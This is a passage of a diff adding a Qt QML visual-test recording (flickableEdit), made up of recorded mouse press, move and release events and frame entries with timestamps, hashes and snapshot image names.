+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 103; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1216
+        hash: "adce307d674b8425fa39b69958d6acc5"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 106; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 111; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1232
+        hash: "36e04d9124f32a21784f3017cc26ee71"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 114; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 116; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1248
+        hash: "36e04d9124f32a21784f3017cc26ee71"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 119; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 122; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1264
+        hash: "c6548ac358dd0eb4fa07ed305039d4e2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 124; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 126; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1280
+        hash: "a0c4b8e21b0b04edaf7b32b2ab40edb2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 128; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 130; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1296
+        hash: "a0c4b8e21b0b04edaf7b32b2ab40edb2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 132; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 134; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1312
+        hash: "d32fb36408859c35dacc5787374b6ae4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 136; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 137; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1328
+        hash: "d32fb36408859c35dacc5787374b6ae4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 139; y: 9
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 141; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1344
+        hash: "d32fb36408859c35dacc5787374b6ae4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 143; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 144; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1360
+        hash: "90f44df899138e894b1a7e42657b8331"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 146; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 147; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1376
+        hash: "90f44df899138e894b1a7e42657b8331"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 148; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 149; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1392
+        hash: "8ec6bb08aac10a622df934421f64beb4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 150; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 151; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1408
+        hash: "d4e52b7ca07033e4f2124607454fd81b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 152; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 154; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1424
+        hash: "499d7c3d9cfb35db68f6eece23130e6b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 155; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1440
+        hash: "499d7c3d9cfb35db68f6eece23130e6b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 157; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1456
+        hash: "3ea13a21a5bbe336408c76ab17ff4268"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 158; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 160; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1472
+        hash: "3ea13a21a5bbe336408c76ab17ff4268"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 161; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1488
+        hash: "3ea13a21a5bbe336408c76ab17ff4268"
+    }
+    Frame {
+        msec: 1504
+        hash: "3ea13a21a5bbe336408c76ab17ff4268"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 162; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1520
+        hash: "3ea13a21a5bbe336408c76ab17ff4268"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 164; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1536
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 165; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1552
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 167; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 168; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1568
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 169; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1584
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1600
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 170; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1616
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1632
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1648
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1664
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1680
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1696
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1712
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1728
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1744
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1760
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1776
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1792
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1808
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1824
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1840
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Mouse {
+        type: 3
+        button: 1
+        buttons: 0
+        x: 170; y: 8
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 1856
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1872
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1888
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1904
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 1920
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 1936
+        image: "flickableEdit.2.png"
+    }
+    Frame {
+        msec: 1952
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 1968
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 1984
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2000
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2016
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2032
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2048
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2064
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2080
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2096
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2112
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2128
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2144
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2160
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2176
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2192
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2208
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2224
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2240
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2256
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2272
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2288
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2304
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2320
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2336
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2352
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2368
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2384
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2400
+        hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+    }
+    Frame {
+        msec: 2416
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2432
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2448
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2464
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2480
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2496
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2512
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2528
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2544
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2560
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2576
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2592
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2608
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2624
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2640
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2656
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2672
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2688
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Frame {
+        msec: 2704
+        hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+    }
+    Mouse {
+        type: 2
+        button: 1
+        buttons: 1
+        x: 21; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2720
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2736
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2752
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2768
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2784
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2800
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2816
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2832
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2848
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2864
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2880
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2896
+        image: "flickableEdit.3.png"
+    }
+    Frame {
+        msec: 2912
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2928
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 22; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2944
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2960
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 23; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 2976
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Frame {
+        msec: 2992
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 24; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3008
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 25; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3024
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 26; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3040
+        hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 27; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 29; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3056
+        hash: "e5daa45e1d798fdf2562dbb9a1a2c97b"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 30; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 31; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3072
+        hash: "698b572adf95ddc235b781b126a1cc10"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 33; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 35; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3088
+        hash: "7a87fe9484b00f8c7039e3129fc24fb5"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 37; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 40; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3104
+        hash: "2f17e7980a28789d0f262e3682c2da27"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 42; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 45; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3120
+        hash: "0757f4c05233a25e6a8825b2c6052d8d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 49; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 52; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3136
+        hash: "799da712f376033efdbaf9a342e4bc3f"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 55; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 58; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3152
+        hash: "bf7b2a29664fe4acf52d56c73cf079b1"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 62; y: 29
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 66; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3168
+        hash: "7928b280e7a9ab89217c9abf3b709cd2"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 69; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 72; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3184
+        hash: "3102339f3e18640f6b508e88aafefb79"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 75; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 78; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3200
+        hash: "98cddfbea5b96f9dd08c5a3655155d35"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 81; y: 30
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 84; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3216
+        hash: "5604b2f85c3a90f8b29da3fec2f6c509"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 87; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 91; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3232
+        hash: "5ca4055c8dded5d30c326d6d304da28d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 94; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 97; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3248
+        hash: "b0afe256f8f89a77a5fa87c023cda469"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 101; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 104; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3264
+        hash: "d7408be78c80e2b6e5848ee696a79ee0"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 108; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 111; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3280
+        hash: "f7e12621527fd52e21595cfbf804879c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 115; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 118; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3296
+        hash: "6b8c9413ba1a791e42b06aaa711cdb4e"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 122; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 127; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3312
+        hash: "1c80e0f89033dedc66b236561042f4f6"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 131; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 135; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3328
+        hash: "6ec06d8844ff57e34af5316895250858"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 140; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 146; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3344
+        hash: "f3c0159243555e919fd736866b00a5ab"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 151; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 157; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3360
+        hash: "973ced5d6155240490acd6241610429d"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 164; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 169; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3376
+        hash: "0aee5feb94508f70c62cc3255c53bc8a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 175; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 182; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3392
+        hash: "840cc661a50dd8bc1af8f6d53ccbece5"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 187; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 191; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3408
+        hash: "34a470358ccfb7592cf47399ab6dbc19"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 195; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 198; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3424
+        hash: "25c53ff3977ca8422c545c1608782833"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 202; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 205; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3440
+        hash: "d4388550549d54e31640cda4672c3bfb"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 209; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 213; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3456
+        hash: "8904c3b225a5e732fca4fc605d0fc12a"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 216; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 219; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3472
+        hash: "415a630fc6a963e99a0e13bf5e461849"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 223; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 226; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3488
+        hash: "1526e90e0345e20a3455554c8f249de7"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 229; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 233; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3504
+        hash: "2b215748d63e505469d343919b245af9"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 235; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 238; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3520
+        hash: "6821e559cb1e45b0cd731c90c3b16934"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 241; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 243; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3536
+        hash: "334ddaa8c2cd0506528fe20a21991b03"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 245; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 247; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Frame {
+        msec: 3552
+        hash: "6e651889e91d3de96d9aaf91f4ed9a2c"
+    }
+    Mouse {
+        type: 5
+        button: 0
+        buttons: 1
+        x: 250; y: 31
+        modifiers: 0
+        sendToViewport: true
+    }
+    Mouse {
+        type: 5
+        button: 0
